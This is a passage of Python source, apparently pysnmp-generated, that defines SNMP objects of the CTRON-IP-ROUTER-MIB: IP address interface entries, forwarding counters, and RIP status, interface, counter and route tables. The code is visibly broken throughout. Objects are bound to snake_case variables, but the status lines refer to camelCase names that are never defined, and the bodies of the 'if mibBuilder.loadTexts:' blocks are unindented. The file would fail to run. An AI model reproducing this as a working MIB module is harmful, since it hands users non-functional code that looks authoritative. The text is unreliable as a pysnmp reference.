if mibBuilder.loadTexts:
nwIpAddrIfIndex.setStatus('mandatory')
nw_ip_addr_if_address = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1, 2), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpAddrIfAddress.setStatus('mandatory')
nw_ip_addr_if_control = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('add', 2), ('delete', 3))).clone('add')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpAddrIfControl.setStatus('mandatory')
nw_ip_addr_if_addr_type = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('other', 1), ('primary', 2), ('secondary', 3), ('workgroup', 4))).clone('primary')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpAddrIfAddrType.setStatus('mandatory')
nw_ip_addr_if_mask = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1, 5), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpAddrIfMask.setStatus('mandatory')
nw_ip_addr_if_bcast_addr = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('zeros', 2), ('ones', 3))).clone('ones')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpAddrIfBcastAddr.setStatus('mandatory')
nw_ip_fwd_if_ctr_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1))
if mibBuilder.loadTexts:
nwIpFwdIfCtrTable.setStatus('mandatory')
nw_ip_fwd_if_ctr_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpFwdIfCtrIfIndex'))
if mibBuilder.loadTexts:
nwIpFwdIfCtrEntry.setStatus('mandatory')
nw_ip_fwd_if_ctr_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrIfIndex.setStatus('mandatory')
nw_ip_fwd_if_ctr_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('enabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpFwdIfCtrAdminStatus.setStatus('mandatory')
nw_ip_fwd_if_ctr_reset = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('other', 1), ('reset', 2))).clone('other')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpFwdIfCtrReset.setStatus('mandatory')
nw_ip_fwd_if_ctr_operational_time = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 4), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrOperationalTime.setStatus('mandatory')
nw_ip_fwd_if_ctr_in_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 5), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrInPkts.setStatus('mandatory')
nw_ip_fwd_if_ctr_out_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 6), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrOutPkts.setStatus('mandatory')
nw_ip_fwd_if_ctr_fwd_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 7), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrFwdPkts.setStatus('mandatory')
nw_ip_fwd_if_ctr_filtered_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 8), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrFilteredPkts.setStatus('mandatory')
nw_ip_fwd_if_ctr_discard_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 9), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrDiscardPkts.setStatus('mandatory')
nw_ip_fwd_if_ctr_addr_err_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 10), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrAddrErrPkts.setStatus('mandatory')
nw_ip_fwd_if_ctr_len_err_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 11), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrLenErrPkts.setStatus('mandatory')
nw_ip_fwd_if_ctr_hdr_err_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 12), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrHdrErrPkts.setStatus('mandatory')
nw_ip_fwd_if_ctr_in_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 13), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrInBytes.setStatus('mandatory')
nw_ip_fwd_if_ctr_out_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 14), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrOutBytes.setStatus('mandatory')
nw_ip_fwd_if_ctr_fwd_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 15), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrFwdBytes.setStatus('mandatory')
nw_ip_fwd_if_ctr_filtered_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 16), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrFilteredBytes.setStatus('mandatory')
nw_ip_fwd_if_ctr_discard_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 17), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrDiscardBytes.setStatus('mandatory')
nw_ip_fwd_if_ctr_host_in_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 18), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrHostInPkts.setStatus('mandatory')
nw_ip_fwd_if_ctr_host_out_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 19), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrHostOutPkts.setStatus('mandatory')
nw_ip_fwd_if_ctr_host_discard_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 20), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrHostDiscardPkts.setStatus('mandatory')
nw_ip_fwd_if_ctr_host_in_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 21), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrHostInBytes.setStatus('mandatory')
nw_ip_fwd_if_ctr_host_out_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 22), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrHostOutBytes.setStatus('mandatory')
nw_ip_fwd_if_ctr_host_discard_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2, 1, 1, 23), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCtrHostDiscardBytes.setStatus('mandatory')
nw_ip_rip_admin_status = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipAdminStatus.setStatus('mandatory')
nw_ip_rip_oper_status = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3), ('pending-disable', 4), ('pending-enable', 5), ('invalid-config', 6)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipOperStatus.setStatus('mandatory')
nw_ip_rip_admin_reset = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('other', 1), ('reset', 2))).clone('other')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipAdminReset.setStatus('mandatory')
nw_ip_rip_operational_time = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 4), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipOperationalTime.setStatus('mandatory')
nw_ip_rip_version = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 5), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipVersion.setStatus('mandatory')
nw_ip_rip_stack_size = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 6), integer32().clone(4096)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipStackSize.setStatus('mandatory')
nw_ip_rip_thread_priority = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 7), integer32().clone(127)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipThreadPriority.setStatus('mandatory')
nw_ip_rip_database_threshold = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 8), integer32().clone(2000)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipDatabaseThreshold.setStatus('mandatory')
nw_ip_rip_age_out = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 9), integer32().clone(210)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipAgeOut.setStatus('mandatory')
nw_ip_rip_hold_down = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1, 10), integer32().clone(120)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipHoldDown.setStatus('mandatory')
nw_ip_rip_ctr_admin_status = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('enabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipCtrAdminStatus.setStatus('mandatory')
nw_ip_rip_ctr_reset = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('other', 1), ('reset', 2))).clone('other')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipCtrReset.setStatus('mandatory')
nw_ip_rip_ctr_operational_time = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 3), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipCtrOperationalTime.setStatus('mandatory')
nw_ip_rip_ctr_in_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 4), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipCtrInPkts.setStatus('mandatory')
nw_ip_rip_ctr_out_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 5), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipCtrOutPkts.setStatus('mandatory')
nw_ip_rip_ctr_filtered_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 6), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipCtrFilteredPkts.setStatus('mandatory')
nw_ip_rip_ctr_discard_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 7), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipCtrDiscardPkts.setStatus('mandatory')
nw_ip_rip_ctr_in_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 8), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipCtrInBytes.setStatus('mandatory')
nw_ip_rip_ctr_out_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 9), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipCtrOutBytes.setStatus('mandatory')
nw_ip_rip_ctr_filtered_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 10), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipCtrFilteredBytes.setStatus('mandatory')
nw_ip_rip_ctr_discard_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2, 11), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipCtrDiscardBytes.setStatus('mandatory')
nw_ip_rip_if_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1))
if mibBuilder.loadTexts:
nwIpRipIfTable.setStatus('mandatory')
nw_ip_rip_if_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpRipIfIndex'))
if mibBuilder.loadTexts:
nwIpRipIfEntry.setStatus('mandatory')
nw_ip_rip_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfIndex.setStatus('mandatory')
nw_ip_rip_if_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfAdminStatus.setStatus('mandatory')
nw_ip_rip_if_oper_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3), ('pending-disable', 4), ('pending-enable', 5)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfOperStatus.setStatus('mandatory')
nw_ip_rip_if_operational_time = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 4), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfOperationalTime.setStatus('mandatory')
nw_ip_rip_if_version = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 5), integer32().clone(1)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfVersion.setStatus('mandatory')
nw_ip_rip_if_advertisement = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 6), integer32().clone(30)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfAdvertisement.setStatus('mandatory')
nw_ip_rip_if_flood_delay = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 7), integer32().clone(2)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfFloodDelay.setStatus('mandatory')
nw_ip_rip_if_request_delay = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 8), integer32()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfRequestDelay.setStatus('mandatory')
nw_ip_rip_if_priority = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 9), integer32().clone(1)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfPriority.setStatus('mandatory')
nw_ip_rip_if_hello_timer = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 10), integer32().clone(10)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfHelloTimer.setStatus('mandatory')
nw_ip_rip_if_split_horizon = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 11), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('enabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfSplitHorizon.setStatus('mandatory')
nw_ip_rip_if_poison_reverse = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 12), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfPoisonReverse.setStatus('mandatory')
nw_ip_rip_if_snooping = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 13), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfSnooping.setStatus('mandatory')
nw_ip_rip_if_type = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 14), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('bma', 2), ('nbma', 3))).clone('bma')).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfType.setStatus('mandatory')
nw_ip_rip_if_xmit_cost = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 15), integer32()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfXmitCost.setStatus('mandatory')
nw_ip_rip_if_acl_identifier = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 16), integer32()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfAclIdentifier.setStatus('mandatory')
nw_ip_rip_if_acl_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1, 1, 1, 17), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfAclStatus.setStatus('mandatory')
nw_ip_rip_if_ctr_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1))
if mibBuilder.loadTexts:
nwIpRipIfCtrTable.setStatus('mandatory')
nw_ip_rip_if_ctr_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpRipIfCtrIfIndex'))
if mibBuilder.loadTexts:
nwIpRipIfCtrEntry.setStatus('mandatory')
nw_ip_rip_if_ctr_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfCtrIfIndex.setStatus('mandatory')
nw_ip_rip_if_ctr_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfCtrAdminStatus.setStatus('mandatory')
nw_ip_rip_if_ctr_reset = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('other', 1), ('reset', 2))).clone('other')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRipIfCtrReset.setStatus('mandatory')
nw_ip_rip_if_ctr_operational_time = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 4), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfCtrOperationalTime.setStatus('mandatory')
nw_ip_rip_if_ctr_in_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 5), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfCtrInPkts.setStatus('mandatory')
nw_ip_rip_if_ctr_out_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 6), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfCtrOutPkts.setStatus('mandatory')
nw_ip_rip_if_ctr_filtered_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 7), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfCtrFilteredPkts.setStatus('mandatory')
nw_ip_rip_if_ctr_discard_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 8), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfCtrDiscardPkts.setStatus('mandatory')
nw_ip_rip_if_ctr_in_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 9), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfCtrInBytes.setStatus('mandatory')
nw_ip_rip_if_ctr_out_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 10), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfCtrOutBytes.setStatus('mandatory')
nw_ip_rip_if_ctr_filtered_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 11), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfCtrFilteredBytes.setStatus('mandatory')
nw_ip_rip_if_ctr_discard_bytes = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2, 1, 1, 12), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipIfCtrDiscardBytes.setStatus('mandatory')
nw_ip_rip_route_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1))
if mibBuilder.loadTexts:
nwIpRipRouteTable.setStatus('mandatory')
nw_ip_rip_route_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpRipRtNetId'), (0, 'CTRON-IP-ROUTER-MIB', 'nwIpRipRtIfIndex'), (0, 'CTRON-IP-ROUTER-MIB', 'nwIpRipRtSrcNode'))
if mibBuilder.loadTexts:
nwIpRipRouteEntry.setStatus('mandatory')
nw_ip_rip_rt_net_id = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 1), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipRtNetId.setStatus('mandatory')
nw_ip_rip_rt_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 2), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipRtIfIndex.setStatus('mandatory')
nw_ip_rip_rt_src_node = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 3), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipRtSrcNode.setStatus('mandatory')
nw_ip_rip_rt_mask = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3, 1, 1, 4), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRipRtMask.setStatus('mandatory')
